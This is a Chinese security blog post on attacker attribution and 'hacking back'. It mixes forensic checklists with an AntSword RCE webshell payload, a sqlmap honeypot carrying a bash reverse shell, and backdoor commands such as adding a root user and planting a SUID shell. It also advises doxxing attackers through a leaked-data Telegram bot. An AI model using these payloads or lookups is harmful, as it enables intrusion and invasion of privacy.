溯源反制思路整合
溯源反制思路整合
0x01反制的整體思路
0x02 反制具體思路
0x0201 反制主機(jī)
0x0202 反制后門附件
0x0203 反制攻擊工具
0x03 拿下傀儡機(jī)之后如何進(jìn)行源IP的查找
0x0301 日志分析
0x0302 進(jìn)程分析
0x0303 流量分析
0x0304 服務(wù)查詢
0x0305 其他技巧
通用
0x04 溯源相關(guān)思路
根據(jù)IP進(jìn)行溯源
根據(jù)域名進(jìn)行溯源
根據(jù)ID溯源
根據(jù)病毒源碼細(xì)節(jié)溯源
通過手機(jī)號碼溯源
總結(jié)
0x01反制的整體思路
反入侵得到攻擊者機(jī)器權(quán)限 -> 入侵現(xiàn)場還原,摸清入侵思路 -> 并且須知入侵者的相關(guān)后門遺留,以便處理后門 -> 抓取入侵者的真實IP獲得地理位置 -> 并按照攻擊者的攻擊路線加固相關(guān)漏洞安全。
0x02 反制具體思路
0x0201 反制主機(jī)
傀儡機(jī)一般都是具有漏洞的主機(jī),可以使用常規(guī)滲透測試的手段進(jìn)行攻擊,這個操作就非常廣了,在這里不過多贅述。
0x0202 反制后門附件
對附件進(jìn)行逆向分析,得到C2地址,然后對目標(biāo)ip進(jìn)行滲透攻擊。 有些釣魚郵件頭中,沒有對源地址進(jìn)行偽裝,那么就有可能獲取到源IP或者域名

留下的后門中有對自己的teamserver回傳數(shù)據(jù),可以通過分析后門,或者查看后門源碼得知。
0x0203 反制攻擊工具
倘若對方使用帶有漏洞版本的攻擊工具例如蟻劍、AWVS等,這時候可以使用RCE攻擊對其進(jìn)行反控,高版本蟻劍上此漏洞已經(jīng)被修復(fù)。已知有漏洞的工具版本:
蟻劍 <=2.0.7可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/147
被發(fā)現(xiàn)另外一枚可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/150
Payload:
<?php
if(strlen($_POST[1]) == 153){
preg_match_all('/echo "(\w+)";/i', $_POST[1], $mat);
$profix = $mat[1][0];
$suffix = $mat[1][1];
echo $profix;?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello World!</title>
</head>
<body>
<h1>Hello World!</h1>
<p>This window does not have access to node bindings.</p>
<pre>process: <script>document.write(process)</script></pre>
<script>
window.open('data:text/html,But this one does! <br><pre>process.cwd(): <script>document.write(process.cwd());const {spawn} = require("child_process");spawn("open",["/Applications/Calculator.app"]);</scr'+'ipt></pre>');
</script>
</body>
</html>
<?php
echo $suffix;
}else{
eval($_POST[1]);
}
awvs 10直接利用exp,等待對方掃描自己,即刻上線。exp下載地址:https://github.com/dzonerzy/acunetix_0day
cobalt strike
3.5版本teamserver有RCE漏洞
可以爆破teamserver密碼,然后得到黑客攻擊的其他傀儡機(jī)。
exp利用地址:https://github.com/ryanohoro/csbruter
sqlmap構(gòu)造特殊的get或者post注入點來等待攻擊者使用sqlmap掃描,例如下圖,將get請求中的一個參數(shù)的值設(shè)置為
lsl,倘若直接改成反彈shell的代碼即可反控對方機(jī)器。
post利用方式:
<html>
<head>
<title> A sqlmap honeypot demo</title>
</head>
<body>
<input>search the user</input>
<form id="myForm" action="username.html" method="post" enctype="text/plain">
<input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>
<input type="button"οnclick="myForm.submit()" value="Submit">
</form>
</body>
</html>
0x03 拿下傀儡機(jī)之后如何進(jìn)行源IP的查找
一般拿到傀儡機(jī)之后,就需要查找下一步攻擊者的信息了,當(dāng)然攻擊者也很有可能搭建socks代理來攻擊,但是還是有可能會發(fā)現(xiàn)真實攻擊者的蛛絲馬跡的。
0x0301 日志分析
01 Web日志分析
Nginx,Apache,IIS,Tomcat
可以查看分析攻擊者的IP,訪問的UA

可以grep木馬頁面篩選攻擊者IP,
查看日志中某個路徑訪問最多的10個IP
cat gitsort.log | grep "/language/HTML" | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head -n 10

02 系統(tǒng)日志分析
可以看到訪問者的IP
Windows
日志路徑:C:\Windows\System32\winevt\Logs必看日志:Security.evtx、System.evtx、Application.evtx

Linux
日志路徑: /var/log必看日志:secure、history
/var/log/boot.log:錄了系統(tǒng)在引導(dǎo)過程中發(fā)生的事件,就是Linux系統(tǒng)開機(jī)自檢過程顯示的信息
/var/log/lastlog :記錄最后一次用戶成功登陸的時間、登陸IP等信息
/var/log/messages :記錄Linux操作系統(tǒng)常見的系統(tǒng)和服務(wù)錯誤信息
/var/log/secure :Linux系統(tǒng)安全日志,記錄用戶和工作組變壞情況、用戶登陸認(rèn)證情況
/var/log/btmp :記錄Linux登陸失敗的用戶、時間以及遠(yuǎn)程IP地址
/var/log/syslog:只記錄警告信息,常常是系統(tǒng)出問題的信息,使用lastlog查看
/var/log/wtmp:該日志文件永久記錄每個用戶登錄、注銷及系統(tǒng)的啟動、停機(jī)的事件,使用last命令查看
/var/run/utmp:該日志文件記錄有關(guān)當(dāng)前登錄的每個用戶的信息。如 who、w、users、finger等就需要訪問這個文件
/var/log/syslog 或 /var/log/messages 存儲所有的全局系統(tǒng)活動數(shù)據(jù),包括開機(jī)信息。基于 Debian 的系統(tǒng)如 Ubuntu 在 /var/log/syslog 中存儲它們,而基于 RedHat 的系統(tǒng)如 RHEL 或 CentOS 則在 /var/log/messages 中存儲它們。
/var/log/auth.log 或 /var/log/secure 存儲來自可插拔認(rèn)證模塊(PAM)的日志,包括成功的登錄,失敗的登錄嘗試和認(rèn)證方式。Ubuntu 和 Debian 在 /var/log/auth.log 中存儲認(rèn)證信息,而 RedHat 和 CentOS 則在 /var/log/secure 中存儲該信息。
lastlog 查看最后登陸日志

查看 /var/log/secure日志

history命令 查看歷史命令記錄,運氣好的話可以獲得比較關(guān)鍵的信息
0x0302 進(jìn)程分析
Windows
tasklist
查看進(jìn)程列表,eg:tasklist | find "16376"進(jìn)一步查看16376進(jìn)程的具體信息。
WMIC擴(kuò)展WMI(Windows Management Instrumentation,Windows管理規(guī)范) ,提供了從命令行接口和批命令腳本執(zhí)行系統(tǒng)管理的支持。C:\users\fengxuan>wmic wmic:root\cli>
這時,在命令行再輸入process, 就可以查看完整的進(jìn)程信息了。

windows的任務(wù)管理器是很好的進(jìn)程查看工具,當(dāng)然大家還可以使用一些其他工具,比如Kernel Detective 來幫助你檢測
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

Linux
ps
ps aux查看進(jìn)程/proc/進(jìn)程號 進(jìn)程信息 在瀏覽 /proc 目錄的時候您會發(fā)現(xiàn)許多目錄的名稱是一些數(shù)字。這些目錄保存了當(dāng)前系統(tǒng)中運行的所有進(jìn)程的信息。

img Top 命令,查看進(jìn)程占用系統(tǒng)資源情況
lsof命令
0x0303 流量分析
通用
netstat -an 查看網(wǎng)絡(luò)連接netstat -na|grep ESTABLISHED 查看已經(jīng)連接上的網(wǎng)絡(luò)IPnetstat -unltp 查看進(jìn)程占用的端口號 (很有用)

Windows
wireshark
fiddler
linux
tcpdump
使用命令 tcpdump -i any -c100 -nn -w /tmp/tcpdump_save.cap 將抓到的包放到wireshark中進(jìn)行分析
0x0304 服務(wù)查詢
Windows
常見的后門技術(shù)列表:
1、隱藏、克隆賬戶test$,
查找方式 :需要在界面上的用戶管理查看,而不是單單在命令行查看
2、shift后門 將C盤windows目錄下面的system32文件里面的sethc.exe應(yīng)用程序進(jìn)行轉(zhuǎn)移,并生成sethc.exe.bak文件。并將cmd.exe拷貝覆蓋sethc.exe 查找方式 :Md5 sethc.exe 看下是不是cmd.exe 的MD5
certutil -hashfile filename MD5
3、啟動項、計劃任務(wù)
【啟動項】
查找方式 :window--開始--所有程序--啟動
【組策略欺騙】
組策略,運行g(shù)pedit.msc,通過最策略的“腳本(啟動/關(guān)機(jī))”項來說實現(xiàn)。

查找方式 :
具體位置在“計算機(jī)配置→Windows設(shè)置”項下。因為其極具隱蔽性,因此常常被攻擊者利用來做服務(wù)器后門。
【計劃任務(wù)】
查找方式 :window--開始--所有程序--附件--系統(tǒng)工具--任務(wù)計劃程序
4、劫持技術(shù)
查找方式 :所謂的映像劫持就是Image File Execution Options(IFEO),位于注冊表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
查找方式 :
這個注冊項中有惡意的鍵值對就需要排查0.
5、Powershell后門
如何創(chuàng)建穩(wěn)定的powershell backdoor https://github.com/AV1080p/Schtasks-Backdoor
查找方式 :
查看進(jìn)程中是否有powershell的常駐進(jìn)程
6、遠(yuǎn)控軟件
Cobaltstrike, 灰鴿子。只能通過進(jìn)程分析和流量分析才能找到木馬。因為cs可以注入到其他進(jìn)程中比如說System進(jìn)程。
查找方式 :
通過任務(wù)管理器分析進(jìn)程,還需要通過WSExplorer進(jìn)行進(jìn)程抓包。
7、嗅探技術(shù)
Cain

查找方式 :
查看進(jìn)程
LInux
增加超級用戶帳號
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd查找方式 :
查看 /etc/passwd 是否有UID為0的用戶
破解/嗅控用戶密碼
查找方式 :查看進(jìn)程,分析
放置SUID Shell
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
查找系統(tǒng)中設(shè)置了SUID權(quán)限的文件
find / -perm +4000 -exec ls -ld {} \; //查找設(shè)置了SUID權(quán)限的文件
find / -perm +6000 -exec ls -ld {} \; //上面的-6000表示既具有suid權(quán)限又具有sgid權(quán)限的文件
利用系統(tǒng)服務(wù)程序
修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替換in.telnetd、in.rexecd等 inted的服務(wù)程序重定向login程序查找方式 :查看配置文件,查看文件MD5
TCP/UDP/ICMP Shell
Ping Backdoor,通過ICMP包激活后門, 形成一個Shell通道。TCP ACK數(shù)據(jù)包后門,能夠穿越防火墻。
Linux下的icmp shell后門 容易被發(fā)現(xiàn)
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
這個是py版的 https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
查找方式 :查看進(jìn)程
Crontab定時任務(wù)
crontab -l #查看服務(wù)
0x0305 其他技巧
查看公鑰,獲取攻擊者電腦名

查看其他操作日志記錄,比如說Openvpn
通用
查詢在線登陸者
LInux:w命令
Windows:query user
進(jìn)程分析得到的病毒樣本,可以在https://x.threatbook.cn/ 微步進(jìn)行HASH查詢,https://www.virustotal.com/ 這個網(wǎng)站上進(jìn)行查詢,可以檢測是否為病毒,還有可以得到病毒的C2地址。

0x04 溯源相關(guān)思路
根據(jù)IP進(jìn)行溯源
微步在線
https://x.threatbook.cn/

https://www.virustotal.com/

搜索引擎搜索
github搜索
根據(jù)域名進(jìn)行溯源
whois查詢 備案查詢 企查查/天眼查查詢 zoomeye/fofa查詢
根據(jù)ID溯源
在搜索引擎查找 在github,gitee,開源中國中查找 在社交平臺上查找,(微信/微博/linkedin/twitter) 在安全群/安全圈子里詢問。
根據(jù)病毒源碼細(xì)節(jié)溯源
查找代碼中比較特殊的字符比如說:

在github中搜索這個特殊字符串“\x47\x4c\x4fB\x41\x4c\x53”。
查看代碼中是否有請求攻擊者其他主機(jī)的功能,會有IP,域名
通過手機(jī)號碼溯源
1. 社交平臺查詢(微信/支付寶/微博/抖音)
2. 通過telegram里社工庫機(jī)器人進(jìn)行精準(zhǔn)信息查詢,機(jī)器人ID:@sgkmainbot
3. 查詢注冊過哪些網(wǎng)站 網(wǎng)站地址:https://www.reg007.com/

總結(jié)
這篇文章是我目前知道的溯源反制的所有的操作細(xì)節(jié)規(guī)范,在以后如果有新的技術(shù)出現(xiàn),我也會及時的補(bǔ)充進(jìn)去,我把這個文檔放在Notion上,動態(tài)的更新,大家可以隨時查看下:
https://fengxuan.notion.site/0fd37de0b16b44b9a546304ff83f82e8
這里我就放一張思維導(dǎo)圖,大家可以在工作的時候參考。

我的公眾號:風(fēng)炫安全
